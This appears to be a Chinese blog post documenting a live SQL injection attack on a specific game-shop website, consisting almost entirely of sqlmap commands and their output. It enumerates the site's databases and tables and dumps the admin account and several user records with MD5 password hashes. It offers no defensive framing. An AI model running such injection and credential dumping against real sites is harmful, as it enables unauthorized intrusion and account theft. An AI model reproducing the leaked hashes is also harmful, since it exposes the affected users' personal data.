某网SQL注入漏洞实战
root@kali:~# sqlmap -u http://dn.you.com/shop.php?id=10 -v 1 --dbs
available databases [8]:
[*] dntg
[*] dntg2
[*] dnweb
[*] information_schema
[*] mysql
[*] performance_schema
[*] test
[*] ultrax
root@kali:~# sqlmap -u http://dn.you.com/shop.php?id=10 -v 1 --current-db
#当前数据库
current database: 'dnweb'
root@kali:~# sqlmap -u http://dn.you.com/shop.php?id=10 -v 1 --current-user
#当前数据库用户
current user: 'root@localhost'
root@kali:~# sqlmap -u http://dn.you.com/shop.php?id=10 -v 1 --table -D "dnweb"
#列数据库表名
Database: dnweb
[25 tables]
+-----------------+
| account |
| admin_user |
| base |
| chajian |
| chongzhi |
| duihuan |
| libao_jilu |
| libao_list |
| meirilibao |
| meirilibao_jilu |
| mianfei |
| mianfei_list |
| money_name |
| role_dellist |
| roleid |
| server |
| shop_list |
| shop_list_copy |
| shop_tag |
| tuiguang |
| xiaofei |
| zhuce |
| zkfcn |
| zkfcq |
| zkfwp |
+-----------------+
root@kali:~# sqlmap -u http://dn.you.com/shop.php?id=10 -v 1 --columns -T "admin_user"
#列名
Database: dnweb
Table: admin_user
[2 columns]
+------------+-------------+
| Column | Type |
+------------+-------------+
| admin_name | varchar(20) |
| admin_pass | varchar(32) |
+------------+-------------+
root@kali:~# sqlmap -u http://dn.you.com/shop.php?id=10 -v 1 --dump -C "admin_name，admin_pass " -T "admin_user" -D "dnweb"
#列数据
Database: dnweb
Table: admin_user
[1 entry]
+------------+----------------------------------+
| admin_name | admin_pass |
+------------+----------------------------------+
| lok** | a9ee8d24806ee22c2daad334****** |
+------------+----------------------------------+
Database: dnweb
Table: account
[20 columns]
+------------+--------------+
| Column | Type |
+------------+--------------+
| createtime | datetime |
| dlts | int(11) |
| email | varchar(255) |
| gold | int(10) |
| id | int(10) |
| jifen | int(10) |
| lastip | varchar(16) |
| logintime | datetime |
| lxdl | int(11) |
| money | int(10) |
| money2 | int(10) |
| name | varchar(32) |
| namemd5id | varchar(32) |
| password | varchar(32) |
| regip | varchar(16) |
| security | varchar(32) |
| tg | int(10) |
| tg2 | int(10) |
| tingyong | int(11) |
| vip | int(255) |
+------------+--------------+
+-------+------------+-------------+----------------------------------+----------+
| id | email | name | password | security |
+-------+------------+-------------+----------------------------------+----------+
| 11827 | 13350* | a414409798 | cee4fce6eaa87581421c296cbc0d3064 | NULL |
| 11828 | 000000 | lo*** | 670b14728ad9902aecba32e22fa4f6bd** | NULL |
| 11829 | 8888* | q139818572* | 4607e782c4d86fd5364d7e4508bb10d9 | NULL |
| 11830 | 123456 | 203412594* | cfd40caa535bb51378ab60849bb54486 | NULL |
| 11831 | 123456789 | na101* | e10adc3949ba59abbe56e057f20f883e | NULL |
| 11832 | NULL | hyt100* | 4c49c824492864666980b012bcf17d08 | NULL |
| 11833 | 32312* | hehe52121* | 0733f98f76375074a3424d5b6e8ffd68 | NULL |
| 11834 | 123456789* | fong201* | 2798ba5d7c1b4f6eec30c9a9cad51dca | NULL |
| 11835 | 123456 | q50504* | e10adc3949ba59abbe56e057f20f883e | NULL |
| 11836 | 1* | wf199* | 96e79218965eb72c92a549dd5a330112 | NULL |
+-------+------------+-------------+----------------------------------+----------+
